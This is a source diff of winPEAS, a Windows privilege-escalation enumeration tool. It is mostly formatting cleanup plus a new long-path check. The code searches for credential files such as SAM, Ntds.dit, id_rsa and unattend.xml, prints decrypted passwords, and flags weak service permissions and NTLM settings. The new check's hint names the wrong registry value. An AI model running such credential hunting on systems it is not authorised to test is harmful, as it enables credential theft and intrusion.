Beaprint.GrayPrint(" - Creating disabled users list...");
|
||||
Checks.PaintDisabledUsers = string.Join("|", User.GetMachineUsers(false, true, false, false, false));
|
||||
PaintDisabledUsersNoAdministrator = Checks.PaintDisabledUsers.Replace("|Administrator", "").Replace("Administrator|", "").Replace("Administrator", "");
|
||||
PaintDisabledUsers = string.Join("|", User.GetMachineUsers(false, true, false, false, false));
|
||||
PaintDisabledUsersNoAdministrator = PaintDisabledUsers.Replace("|Administrator", "").Replace("Administrator|", "").Replace("Administrator", "");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
@@ -396,7 +411,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
if (RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "" && RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "")
|
||||
System.Console.WriteLine(@"ANSI color bit for Windows is not set. If you are execcuting this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
|
||||
Console.WriteLine(@"ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
@@ -404,6 +419,24 @@ namespace winPEAS.Checks
|
||||
}
|
||||
}
|
||||
|
||||
private static void CheckLongPath()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (RegistryHelper.GetRegValue("HKLM", @"SYSTEM\CurrentControlSet\Control\FileSystem", "LongPathsEnabled") != "1")
|
||||
{
|
||||
Console.WriteLine(@"Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
|
||||
IsLongPath = false;
|
||||
}
|
||||
else
|
||||
IsLongPath = true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.GrayPrint("Error while checking LongPathsEnabled registry: " + ex);
|
||||
}
|
||||
}
|
||||
|
||||
private static void WaitInput()
|
||||
{
|
||||
Console.Write("\n -- Press a key to continue... ");
|
||||
|
||||
@@ -10,7 +10,7 @@ using winPEAS.Info.EventsInfo.ProcessCreation;
|
||||
namespace winPEAS.Checks
|
||||
{
|
||||
internal class EventsInfo : ISystemCheck
|
||||
{
|
||||
{
|
||||
public void PrintInfo(bool isDebug)
|
||||
{
|
||||
Beaprint.GreatPrint("Interesting Events information");
|
||||
@@ -23,7 +23,7 @@ namespace winPEAS.Checks
|
||||
PrintPowerShellEvents,
|
||||
PowerOnEvents,
|
||||
}.ForEach(action => CheckRunner.Run(action, isDebug));
|
||||
}
|
||||
}
|
||||
|
||||
private static void PrintPowerShellEvents()
|
||||
{
|
||||
@@ -91,7 +91,7 @@ namespace winPEAS.Checks
|
||||
}
|
||||
|
||||
var logonInfos = Logon.GetLogonInfos(lastDays);
|
||||
|
||||
|
||||
foreach (var info in logonInfos.LogonEventInfos)
|
||||
{
|
||||
Beaprint.BadPrint($" Subject User Name : {info.SubjectUserName}\n" +
|
||||
@@ -102,13 +102,13 @@ namespace winPEAS.Checks
|
||||
$" Lm Package : {info.LmPackage}\n" +
|
||||
$" Logon Type : {info.LogonType}\n" +
|
||||
$" Target User Name : {info.TargetUserName}\n" +
|
||||
$" Target Domain Name : {info.TargetDomainName}\n" +
|
||||
$" Target Domain Name : {info.TargetDomainName}\n" +
|
||||
$" Target Outbound User Name : {info.TargetOutboundUserName}\n" +
|
||||
$" Target Outbound Domain Name : {info.TargetOutboundDomainName}\n");
|
||||
|
||||
Beaprint.PrintLineSeparator();
|
||||
}
|
||||
|
||||
|
||||
if (logonInfos.NTLMv1LoggedUsersSet.Count > 0 || logonInfos.NTLMv2LoggedUsersSet.Count > 0)
|
||||
{
|
||||
Beaprint.BadPrint(" NTLM relay might be possible - other users authenticate to this machine using NTLM!");
|
||||
@@ -151,7 +151,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
var lastDays = 30;
|
||||
|
||||
Beaprint.MainPrint($"Printing Explicit Credential Events (4648) for last {lastDays} days - A process logged on using plaintext credentials\n");
|
||||
Beaprint.MainPrint($"Printing Explicit Credential Events (4648) for last {lastDays} days - A process logged on using plaintext credentials\n");
|
||||
|
||||
if (!MyUtils.IsHighIntegrity())
|
||||
{
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -21,7 +21,7 @@ namespace winPEAS.Checks
|
||||
internal class FilesInfo : ISystemCheck
|
||||
{
|
||||
static readonly string _patternsFileCredsColor = @"RDCMan.settings|.rdg|_history|httpd.conf|.htpasswd|.gitconfig|.git-credentials|Dockerfile|docker-compose.ymlaccess_tokens.db|accessTokens.json|azureProfile.json|appcmd.exe|scclient.exe|unattend.txt|access.log|error.log|credential|password|.gpg|.pgp|config.php|elasticsearch|kibana.|.p12|\.der|.csr|.crt|.cer|.pem|known_hosts|id_rsa|id_dsa|.ovpn|tomcat-users.xml|web.config|.kdbx|.key|KeePass.config|ntds.dir|Ntds.dit|sam|system|SAM|SYSTEM|security|software|SECURITY|SOFTWARE|FreeSSHDservice.ini|sysprep.inf|sysprep.xml|unattend.xml|unattended.xml|vnc|groups.xml|services.xml|scheduledtasks.xml|printers.xml|drives.xml|datasources.xml|php.ini|https.conf|https-xampp.conf|my.ini|my.cnf|access.log|error.log|server.xml|setupinfo|pagefile.sys|NetSetup.log|iis6.log|AppEvent.Evt|SecEvent.Evt|default.sav|security.sav|software.sav|system.sav|ntuser.dat|index.dat|bash.exe|wsl.exe";
|
||||
// static readonly string _patternsFileCreds = @"RDCMan.settings;*.rdg;*_history*;httpd.conf;.htpasswd;.gitconfig;.git-credentials;Dockerfile;docker-compose.yml;access_tokens.db;accessTokens.json;azureProfile.json;appcmd.exe;scclient.exe;*.gpg$;*.pgp$;*config*.php;elasticsearch.y*ml;kibana.y*ml;*.p12$;*.cer$;known_hosts;*id_rsa*;*id_dsa*;*.ovpn;tomcat-users.xml;web.config;*.kdbx;KeePass.config;Ntds.dit;SAM;SYSTEM;security;software;FreeSSHDservice.ini;sysprep.inf;sysprep.xml;*vnc*.ini;*vnc*.c*nf*;*vnc*.txt;*vnc*.xml;php.ini;https.conf;https-xampp.conf;my.ini;my.cnf;access.log;error.log;server.xml;ConsoleHost_history.txt;pagefile.sys;NetSetup.log;iis6.log;AppEvent.Evt;SecEvent.Evt;default.sav;security.sav;software.sav;system.sav;ntuser.dat;index.dat;bash.exe;wsl.exe;unattend.txt;*.der$;*.csr$;unattend.xml;unattended.xml;groups.xml;services.xml;scheduledtasks.xml;printers.xml;drives.xml;datasources.xml;setupinfo;setupinfo.bak";
|
||||
// static readonly string _patternsFileCreds = @"RDCMan.settings;*.rdg;*_history*;httpd.conf;.htpasswd;.gitconfig;.git-credentials;Dockerfile;docker-compose.yml;access_tokens.db;accessTokens.json;azureProfile.json;appcmd.exe;scclient.exe;*.gpg$;*.pgp$;*config*.php;elasticsearch.y*ml;kibana.y*ml;*.p12$;*.cer$;known_hosts;*id_rsa*;*id_dsa*;*.ovpn;tomcat-users.xml;web.config;*.kdbx;KeePass.config;Ntds.dit;SAM;SYSTEM;security;software;FreeSSHDservice.ini;sysprep.inf;sysprep.xml;*vnc*.ini;*vnc*.c*nf*;*vnc*.txt;*vnc*.xml;php.ini;https.conf;https-xampp.conf;my.ini;my.cnf;access.log;error.log;server.xml;ConsoleHost_history.txt;pagefile.sys;NetSetup.log;iis6.log;AppEvent.Evt;SecEvent.Evt;default.sav;security.sav;software.sav;system.sav;ntuser.dat;index.dat;bash.exe;wsl.exe;unattend.txt;*.der$;*.csr$;unattend.xml;unattended.xml;groups.xml;services.xml;scheduledtasks.xml;printers.xml;drives.xml;datasources.xml;setupinfo;setupinfo.bak";
|
||||
|
||||
private static readonly IList<string> patternsFileCreds = new List<string>()
|
||||
{
|
||||
@@ -159,7 +159,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
string formString = " {0} ({1})\n Accessed:{2} -- Size:{3}";
|
||||
Beaprint.BadPrint(string.Format(formString, cc["file"], cc["Description"], cc["Accessed"], cc["Size"]));
|
||||
System.Console.WriteLine("");
|
||||
Console.WriteLine("");
|
||||
}
|
||||
}
|
||||
else
|
||||
@@ -182,7 +182,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
List<string> pwds = Unattended.ExtractUnattendedPwd(path);
|
||||
Beaprint.BadPrint(" " + path);
|
||||
System.Console.WriteLine(string.Join("\n", pwds));
|
||||
Console.WriteLine(string.Join("\n", pwds));
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
@@ -233,11 +233,11 @@ namespace winPEAS.Checks
|
||||
foreach (var site in sitelistFilesInfo.Sites)
|
||||
{
|
||||
Beaprint.NoColorPrint($" Share Name : {site.ShareName}");
|
||||
PrintColored( $" User Name : {site.UserName}", !string.IsNullOrWhiteSpace(site.UserName));
|
||||
PrintColored( $" Server : {site.Server}", !string.IsNullOrWhiteSpace(site.Server));
|
||||
PrintColored( $" Encrypted Password : {site.EncPassword}", !string.IsNullOrWhiteSpace(site.EncPassword));
|
||||
PrintColored( $" Decrypted Password : {site.DecPassword}", !string.IsNullOrWhiteSpace(site.DecPassword));
|
||||
Beaprint.NoColorPrint( $" Domain Name : {site.DomainName}\n" +
|
||||
PrintColored($" User Name : {site.UserName}", !string.IsNullOrWhiteSpace(site.UserName));
|
||||
PrintColored($" Server : {site.Server}", !string.IsNullOrWhiteSpace(site.Server));
|
||||
PrintColored($" Encrypted Password : {site.EncPassword}", !string.IsNullOrWhiteSpace(site.EncPassword));
|
||||
PrintColored($" Decrypted Password : {site.DecPassword}", !string.IsNullOrWhiteSpace(site.DecPassword));
|
||||
Beaprint.NoColorPrint($" Domain Name : {site.DomainName}\n" +
|
||||
$" Name : {site.Name}\n" +
|
||||
$" Type : {site.Type}\n" +
|
||||
$" Relative Path : {site.RelativePath}\n");
|
||||
@@ -291,7 +291,7 @@ namespace winPEAS.Checks
|
||||
const string rootDirectory = "Root directory";
|
||||
const string runWith = "Run command";
|
||||
|
||||
var colors = new Dictionary<string, string>();
|
||||
var colors = new Dictionary<string, string>();
|
||||
new List<string>
|
||||
{
|
||||
linpeas,
|
||||
@@ -410,7 +410,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
try
|
||||
{
|
||||
string pattern_color = "[cC][rR][eE][dD][eE][nN][tT][iI][aA][lL]|[pP][aA][sS][sS][wW][oO][rR][dD]";
|
||||
string pattern_color = "[cC][rR][eE][dD][eE][nN][tT][iI][aA][lL]|[pP][aA][sS][sS][wW][oO][rR][dD]";
|
||||
var validExtensions = new HashSet<string>
|
||||
{
|
||||
".cnf",
|
||||
@@ -431,7 +431,7 @@ namespace winPEAS.Checks
|
||||
};
|
||||
|
||||
Beaprint.MainPrint("Looking for possible password files in users homes");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files");
|
||||
var fileInfos = SearchHelper.SearchUserCredsFiles();
|
||||
|
||||
foreach (var fileInfo in fileInfos)
|
||||
@@ -463,7 +463,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
//string pattern_bin = _patternsFileCreds + ";*password*;*credential*";
|
||||
string pattern_bin = string.Join(";", patternsFileCreds) + ";*password*;*credential*";
|
||||
|
||||
|
||||
Dictionary<string, string> colorF = new Dictionary<string, string>()
|
||||
{
|
||||
{ _patternsFileCredsColor + "|.*password.*|.*credential.*", Beaprint.ansi_color_bad },
|
||||
@@ -472,7 +472,7 @@ namespace winPEAS.Checks
|
||||
Beaprint.MainPrint("Looking inside the Recycle Bin for creds files");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files");
|
||||
List<Dictionary<string, string>> recy_files = InterestingFiles.InterestingFiles.GetRecycleBin();
|
||||
|
||||
|
||||
foreach (Dictionary<string, string> rec_file in recy_files)
|
||||
{
|
||||
foreach (string pattern in pattern_bin.Split(';'))
|
||||
@@ -480,7 +480,7 @@ namespace winPEAS.Checks
|
||||
if (Regex.Match(rec_file["Name"], pattern.Replace("*", ".*"), RegexOptions.IgnoreCase).Success)
|
||||
{
|
||||
Beaprint.DictPrint(rec_file, colorF, true);
|
||||
System.Console.WriteLine();
|
||||
Console.WriteLine();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -507,7 +507,7 @@ namespace winPEAS.Checks
|
||||
|
||||
Beaprint.MainPrint("Searching known files that can contain creds in home");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files");
|
||||
|
||||
|
||||
var files = SearchHelper.SearchUsersInterestingFiles();
|
||||
|
||||
Beaprint.AnsiPrint(" " + string.Join("\n ", files), colorF);
|
||||
@@ -567,7 +567,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Searching interesting files in other users home directories (can be slow)\n");
|
||||
|
||||
|
||||
// check if admin already, if yes, print a message, if not, try to enumerate all files
|
||||
if (MyUtils.IsHighIntegrity())
|
||||
{
|
||||
@@ -751,7 +751,7 @@ namespace winPEAS.Checks
|
||||
".cmd"
|
||||
};
|
||||
|
||||
var files = SearchHelper.GetFilesFast(systemDrive, "*", excludedDirs);
|
||||
var files = SearchHelper.GetFilesFast(systemDrive, "*", excludedDirs);
|
||||
|
||||
foreach (var file in files)
|
||||
{
|
||||
@@ -825,14 +825,14 @@ namespace winPEAS.Checks
|
||||
|
||||
foreach (var certificateInfo in certificateInfos)
|
||||
{
|
||||
|
||||
|
||||
Beaprint.NoColorPrint($" Issuer : {certificateInfo.Issuer}\n" +
|
||||
$" Subject : {certificateInfo.Subject}\n" +
|
||||
$" ValidDate : {certificateInfo.ValidDate}\n" +
|
||||
$" ValidDate : {certificateInfo.ValidDate}\n" +
|
||||
$" ExpiryDate : {certificateInfo.ExpiryDate}\n" +
|
||||
$" HasPrivateKey : {certificateInfo.HasPrivateKey}\n" +
|
||||
$" StoreLocation : {certificateInfo.StoreLocation}\n" +
|
||||
$" KeyExportable : {certificateInfo.KeyExportable}\n" +
|
||||
$" HasPrivateKey : {certificateInfo.HasPrivateKey}\n" +
|
||||
$" StoreLocation : {certificateInfo.StoreLocation}\n" +
|
||||
$" KeyExportable : {certificateInfo.KeyExportable}\n" +
|
||||
$" Thumbprint : {certificateInfo.Thumbprint}\n");
|
||||
|
||||
if (!string.IsNullOrEmpty(certificateInfo.Template))
|
||||
@@ -885,7 +885,7 @@ namespace winPEAS.Checks
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
@@ -1033,7 +1033,7 @@ namespace winPEAS.Checks
|
||||
//@"c:\windows.old",
|
||||
rootUsersSearchPath,
|
||||
documentsAndSettings
|
||||
};
|
||||
};
|
||||
|
||||
var files = SearchHelper.GetFilesFast(systemDrive, "*", excludedDirs);
|
||||
|
||||
|
||||
@@ -26,8 +26,8 @@ namespace winPEAS.Checks
|
||||
|
||||
public void PrintInfo(bool isDebug)
|
||||
{
|
||||
Beaprint.GreatPrint("Network Information");
|
||||
|
||||
Beaprint.GreatPrint("Network Information");
|
||||
|
||||
new List<Action>
|
||||
{
|
||||
PrintNetShares,
|
||||
@@ -81,7 +81,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
if (line.Length > 0 && line[0] != '#')
|
||||
{
|
||||
System.Console.WriteLine(" " + line.Replace("\t", " "));
|
||||
Console.WriteLine(" " + line.Replace("\t", " "));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -304,8 +304,8 @@ namespace winPEAS.Checks
|
||||
Beaprint.GrayPrint(" DENY rules:");
|
||||
foreach (Dictionary<string, string> rule in Firewall.GetFirewallRules())
|
||||
{
|
||||
string filePerms = string.Join(", ", PermissionsHelper.GetPermissionsFile(rule["AppName"], winPEAS.Checks.Checks.CurrentUserSiDs));
|
||||
string folderPerms = string.Join(", ", PermissionsHelper.GetPermissionsFolder(rule["AppName"], winPEAS.Checks.Checks.CurrentUserSiDs));
|
||||
string filePerms = string.Join(", ", PermissionsHelper.GetPermissionsFile(rule["AppName"], Checks.CurrentUserSiDs));
|
||||
string folderPerms = string.Join(", ", PermissionsHelper.GetPermissionsFolder(rule["AppName"], Checks.CurrentUserSiDs));
|
||||
string formString = " ({0}){1}[{2}]: {3} {4} {5} from {6} --> {7}";
|
||||
if (filePerms.Length > 0)
|
||||
formString += "\n File Permissions: {8}";
|
||||
@@ -389,8 +389,8 @@ namespace winPEAS.Checks
|
||||
var info = InternetSettings.GetInternetSettingsInfo();
|
||||
|
||||
Beaprint.ColorPrint(" General Settings", Beaprint.LBLUE);
|
||||
Beaprint.NoColorPrint($" {"Hive",-10} {"Key",-40} {"Value"}");
|
||||
|
||||
Beaprint.NoColorPrint($" {"Hive",-10} {"Key",-40} {"Value"}");
|
||||
|
||||
foreach (var i in info.GeneralSettings)
|
||||
{
|
||||
Beaprint.NoColorPrint($" {i.Hive,-10} {i.ValueName,-40} {i.Value}");
|
||||
@@ -410,9 +410,9 @@ namespace winPEAS.Checks
|
||||
{
|
||||
Beaprint.NoColorPrint($" {i.Hive,-10} {i.ValueName,-40} {i.Interpretation}");
|
||||
}
|
||||
}
|
||||
|
||||
Beaprint.ColorPrint("\n Zone Auth Settings", Beaprint.LBLUE);
|
||||
}
|
||||
|
||||
Beaprint.ColorPrint("\n Zone Auth Settings", Beaprint.LBLUE);
|
||||
if (info.ZoneAuthSettings.Count == 0)
|
||||
{
|
||||
Beaprint.NoColorPrint(" No Zone Auth Settings");
|
||||
@@ -423,7 +423,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
Beaprint.NoColorPrint($" {i.Interpretation}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
|
||||
@@ -10,7 +10,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
public void PrintInfo(bool isDebug)
|
||||
{
|
||||
Beaprint.GreatPrint("Processes Information");
|
||||
Beaprint.GreatPrint("Processes Information");
|
||||
|
||||
new List<Action>
|
||||
{
|
||||
@@ -101,7 +101,7 @@ namespace winPEAS.Checks
|
||||
|
||||
Beaprint.DictPrint(vulnHandlers, colors, true);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -20,7 +20,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
CheckRunner.Run(() =>
|
||||
{
|
||||
modifiableServices = ServicesInfoHelper.GetModifiableServices(winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
modifiableServices = ServicesInfoHelper.GetModifiableServices(Checks.CurrentUserSiDs);
|
||||
}, isDebug);
|
||||
}
|
||||
catch (Exception ex)
|
||||
@@ -53,12 +53,12 @@ namespace winPEAS.Checks
|
||||
|
||||
foreach (Dictionary<string, string> serviceInfo in services_info)
|
||||
{
|
||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(serviceInfo["FilteredPath"], winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(serviceInfo["FilteredPath"], Checks.CurrentUserSiDs);
|
||||
List<string> dirRights = new List<string>();
|
||||
|
||||
if (serviceInfo["FilteredPath"] != null && serviceInfo["FilteredPath"] != "")
|
||||
{
|
||||
dirRights = PermissionsHelper.GetPermissionsFolder(Path.GetDirectoryName(serviceInfo["FilteredPath"]), winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
dirRights = PermissionsHelper.GetPermissionsFolder(Path.GetDirectoryName(serviceInfo["FilteredPath"]), Checks.CurrentUserSiDs);
|
||||
}
|
||||
|
||||
bool noQuotesAndSpace = MyUtils.CheckQuoteAndSpace(serviceInfo["PathName"]);
|
||||
@@ -159,7 +159,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
Beaprint.MainPrint("Looking if you can modify any service registry");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions", "Check if you can modify the registry of a service");
|
||||
List<Dictionary<string, string>> regPerms = ServicesInfoHelper.GetWriteServiceRegs(winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<Dictionary<string, string>> regPerms = ServicesInfoHelper.GetWriteServiceRegs(Checks.CurrentUserSiDs);
|
||||
|
||||
Dictionary<string, string> colorsWR = new Dictionary<string, string>()
|
||||
{
|
||||
|
||||
@@ -5,21 +5,21 @@ using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text.RegularExpressions;
|
||||
using winPEAS._3rdParty.Watson;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.AppLocker;
|
||||
using winPEAS._3rdParty.Watson;
|
||||
using winPEAS.Info.SystemInfo.Printers;
|
||||
using winPEAS.Info.SystemInfo.NamedPipes;
|
||||
using winPEAS.Info.SystemInfo;
|
||||
using winPEAS.Info.SystemInfo.SysMon;
|
||||
using winPEAS.Helpers.Extensions;
|
||||
using winPEAS.Helpers.Registry;
|
||||
using winPEAS.Info.SystemInfo;
|
||||
using winPEAS.Info.SystemInfo.AuditPolicies;
|
||||
using winPEAS.Info.SystemInfo.DotNet;
|
||||
using winPEAS.Info.SystemInfo.GroupPolicy;
|
||||
using winPEAS.Info.SystemInfo.WindowsDefender;
|
||||
using winPEAS.Info.SystemInfo.PowerShell;
|
||||
using winPEAS.Info.SystemInfo.NamedPipes;
|
||||
using winPEAS.Info.SystemInfo.Ntlm;
|
||||
using winPEAS.Info.SystemInfo.PowerShell;
|
||||
using winPEAS.Info.SystemInfo.Printers;
|
||||
using winPEAS.Info.SystemInfo.SysMon;
|
||||
using winPEAS.Info.SystemInfo.WindowsDefender;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
namespace winPEAS.Checks
|
||||
@@ -47,13 +47,13 @@ namespace winPEAS.Checks
|
||||
{ "3b576869-a4ec-4529-8536-b80a7769e899" , "Block Office applications from creating executable content "},
|
||||
{ "75668c1f-73b5-4cf0-bb93-3ecf5cb7cc84" , "Block Office applications from injecting code into other processes"},
|
||||
{ "d3e037e1-3eb8-44c8-a917-57927947596d" , "Block JavaScript or VBScript from launching downloaded executable content"},
|
||||
{ "be9ba2d9-53ea-4cdc-84e5-9b1eeee46550" , "Block executable content from email client and webmail"},
|
||||
{ "be9ba2d9-53ea-4cdc-84e5-9b1eeee46550" , "Block executable content from email client and webmail"},
|
||||
};
|
||||
|
||||
public void PrintInfo(bool isDebug)
|
||||
{
|
||||
Beaprint.GreatPrint("System Information");
|
||||
|
||||
|
||||
new List<Action>
|
||||
{
|
||||
PrintBasicSystemInfo,
|
||||
@@ -107,7 +107,7 @@ namespace winPEAS.Checks
|
||||
{ Globals.StrTrue, Beaprint.ansi_color_bad },
|
||||
};
|
||||
Beaprint.DictPrint(basicDictSystem, colorsSI, false);
|
||||
System.Console.WriteLine();
|
||||
Console.WriteLine();
|
||||
Watson.FindVulns();
|
||||
|
||||
//To update Watson, update the CVEs and add the new ones and update the main function so it uses new CVEs (becausfull with the Beaprints inside the FindVulns function)
|
||||
@@ -200,7 +200,7 @@ namespace winPEAS.Checks
|
||||
Beaprint.MainPrint("PS default transcripts history");
|
||||
Beaprint.InfoPrint("Read the PS history inside these files (if any)");
|
||||
string drive = Path.GetPathRoot(Environment.SystemDirectory);
|
||||
string transcriptsPath = drive + @"transcripts\";
|
||||
string transcriptsPath = drive + @"transcripts\";
|
||||
string usersPath = $"{drive}users";
|
||||
|
||||
var users = Directory.EnumerateDirectories(usersPath, "*", SearchOption.TopDirectoryOnly);
|
||||
@@ -210,7 +210,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
{ "^.*", Beaprint.ansi_color_bad },
|
||||
};
|
||||
|
||||
|
||||
var results = new List<string>();
|
||||
|
||||
var dict = new Dictionary<string, string>()
|
||||
@@ -218,7 +218,7 @@ namespace winPEAS.Checks
|
||||
// check \\transcripts\ folder
|
||||
{transcriptsPath, "*"},
|
||||
};
|
||||
|
||||
|
||||
foreach (var user in users)
|
||||
{
|
||||
// check the users directories
|
||||
@@ -290,12 +290,12 @@ namespace winPEAS.Checks
|
||||
Beaprint.NoColorPrint($" Domain : {policy.Domain}\n" +
|
||||
$" GPO : {policy.GPO}\n" +
|
||||
$" Type : {policy.Type}\n");
|
||||
|
||||
|
||||
foreach (var entry in policy.Settings)
|
||||
{
|
||||
Beaprint.NoColorPrint($" {entry.Subcategory,50} : {entry.AuditType}");
|
||||
}
|
||||
|
||||
|
||||
Beaprint.PrintLineSeparator();
|
||||
}
|
||||
}
|
||||
@@ -366,15 +366,15 @@ namespace winPEAS.Checks
|
||||
Beaprint.MainPrint("Credentials Guard");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#credential-guard", "If enabled, a driver is needed to read LSASS memory");
|
||||
string lsaCfgFlags = RegistryHelper.GetRegValue("HKLM", @"System\CurrentControlSet\Control\LSA", "LsaCfgFlags");
|
||||
|
||||
|
||||
if (lsaCfgFlags == "1")
|
||||
{
|
||||
System.Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
|
||||
Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
|
||||
Beaprint.GoodPrint(" CredentialGuard is active with UEFI lock");
|
||||
}
|
||||
else if (lsaCfgFlags == "2")
|
||||
{
|
||||
System.Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
|
||||
Console.WriteLine(" Please, note that this only checks the LsaCfgFlags key value. This is not enough to enable Credentials Guard (but it's a strong indicator).");
|
||||
Beaprint.GoodPrint(" CredentialGuard is active without UEFI lock");
|
||||
}
|
||||
else
|
||||
@@ -572,7 +572,7 @@ namespace winPEAS.Checks
|
||||
else if (using_HKLM_WSUS == "0")
|
||||
Beaprint.GoodPrint(" But UseWUServer is equals to 0, so it is not vulnerable!");
|
||||
else
|
||||
System.Console.WriteLine(" But UseWUServer is equals to " + using_HKLM_WSUS + ", so it may work or not");
|
||||
Console.WriteLine(" But UseWUServer is equals to " + using_HKLM_WSUS + ", so it may work or not");
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -643,9 +643,9 @@ namespace winPEAS.Checks
|
||||
string path = "Software\\Policies\\Microsoft\\Windows\\Installer";
|
||||
string HKLM_AIE = RegistryHelper.GetRegValue("HKLM", path, "AlwaysInstallElevated");
|
||||
string HKCU_AIE = RegistryHelper.GetRegValue("HKCU", path, "AlwaysInstallElevated");
|
||||
|
||||
|
||||
if (HKLM_AIE == "1")
|
||||
{
|
||||
{
|
||||
Beaprint.BadPrint(" AlwaysInstallElevated set to 1 in HKLM!");
|
||||
}
|
||||
|
||||
@@ -672,7 +672,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
var info = Ntlm.GetNtlmSettingsInfo();
|
||||
|
||||
|
||||
string lmCompatibilityLevelColor = info.LanmanCompatibilityLevel >= 3 ? Beaprint.ansi_color_good : Beaprint.ansi_color_bad;
|
||||
Beaprint.ColorPrint($" LanmanCompatibilityLevel : {info.LanmanCompatibilityLevel} ({info.LanmanCompatibilityLevelString})\n", lmCompatibilityLevelColor);
|
||||
|
||||
@@ -683,12 +683,12 @@ namespace winPEAS.Checks
|
||||
{ "No signing", Beaprint.ansi_color_bad},
|
||||
{ "null", Beaprint.ansi_color_bad},
|
||||
{ "Require Signing", Beaprint.ansi_color_good},
|
||||
{ "Negotiate signing", Beaprint.ansi_color_yellow},
|
||||
{ "Negotiate signing", Beaprint.ansi_color_yellow},
|
||||
{ "Unknown", Beaprint.ansi_color_bad},
|
||||
};
|
||||
|
||||
Beaprint.ColorPrint("\n NTLM Signing Settings", Beaprint.LBLUE);
|
||||
Beaprint.AnsiPrint($" ClientRequireSigning : {info.ClientRequireSigning}\n" +
|
||||
Beaprint.AnsiPrint($" ClientRequireSigning : {info.ClientRequireSigning}\n" +
|
||||
$" ClientNegotiateSigning : {info.ClientNegotiateSigning}\n" +
|
||||
$" ServerRequireSigning : {info.ServerRequireSigning}\n" +
|
||||
$" ServerNegotiateSigning : {info.ServerNegotiateSigning}\n" +
|
||||
@@ -727,13 +727,13 @@ namespace winPEAS.Checks
|
||||
}
|
||||
}
|
||||
|
||||
var ntlmOutboundRestrictionsColor = info.OutboundRestrictions == 2 ? Beaprint.ansi_color_good : Beaprint.ansi_color_bad;
|
||||
var ntlmOutboundRestrictionsColor = info.OutboundRestrictions == 2 ? Beaprint.ansi_color_good : Beaprint.ansi_color_bad;
|
||||
|
||||
Beaprint.ColorPrint("\n NTLM Auditing and Restrictions", Beaprint.LBLUE);
|
||||
Beaprint.NoColorPrint($" InboundRestrictions : {info.InboundRestrictions} ({info.InboundRestrictionsString})");
|
||||
Beaprint.ColorPrint($" OutboundRestrictions : {info.OutboundRestrictions} ({info.OutboundRestrictionsString})", ntlmOutboundRestrictionsColor);
|
||||
Beaprint.NoColorPrint($" InboundAuditing : {info.InboundAuditing} ({info.InboundRestrictionsString})");
|
||||
Beaprint.NoColorPrint($" OutboundExceptions : {info.OutboundExceptions}");
|
||||
